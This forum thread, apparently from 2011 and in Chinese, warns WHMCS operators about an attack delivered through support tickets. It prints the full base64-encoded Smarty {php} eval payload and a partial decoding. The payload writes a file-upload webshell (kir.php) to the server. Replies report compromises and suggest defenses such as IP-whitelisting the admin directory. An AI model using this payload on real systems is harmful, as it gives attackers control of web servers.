在whmcs后台的ticket中找到的一个服务单

小牧

入侵者先注册个id
提交一个ticket如下
{php}eval(base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJqMGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltMTFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRWlJRzVoYldVOUluVndiRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZMmh2SUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDBpWm1sc1pTSWdjMmw2WlQwaU5UQWlQanhwYm5CMWRDQnVZVzFsUFNKZmRYQnNJaUIwZVhCbFBTSnpkV0p0YVhRaUlHbGtQU0pmZFhCc0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzTkNtbG1LQ0FrWDFCUFUxUmJKMTkxY0d3blhTQTlQU0FpVlhCc2IyRmtJaUFwSUhzTkNnbHBaaWhBWTI5d2VTZ2tYMFpKVEVWVFd5ZG1hV3hsSjExYkozUnRjRjl1WVcxbEoxMHNJQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25ibUZ0WlNkZEtTa2dleUJsWTJodklDYzhZajVWY0d4dllXUWdVMVZMVTBWVElDRWhJVHd2WWo0OFluSStQR0p5UGljN0lIME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzYjJGa0lFZEJSMEZNSUNFaElUd3ZZajQ4WW5JK1BHSnlQaWM3SUgwTkNuME5DajgrIik7DQokZm8gPSBmb3Blbigia2lyLnBocCIsInciKTsNCmZ3cml0ZSgkZm8sJGNvZGUpOw=='));{/php}

base64解密后：

$code = ';
echo '';
if( $_POST['_upl'] == "Upload" ) {
        if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!
'; }
        else { echo 'Upload GAGAL !!!
'; }
}
?>
$fo = fopen("kir.php","w");
fwrite($fo,$code);



建议大家先关闭ticket系统。。

华斐

不是吧 太狠了

qiqibian

我也被入侵了 还好只是修改了管理员密码 其他的东西都没动

[ 本帖最后由 qiqibian 于 2011-12-11 13:03 编辑 ]

qiqi13245

有什么用呢

nr05

牛逼啊 。 我也去搞去

caboo

不让注册不就行了
必须购买产品才能开通账号
可以实现么

vaman

哦又出洞洞了？

哈P哥

不要给写入权限，这方法就无效了

wmfy808

不是所有的都能入侵



这个提权？

qiqibian

最简单的方法直接吧admin目录设置白名单 只有家里的IP 手机的IP 和一个VPN的IP 可以登陆 物理隔绝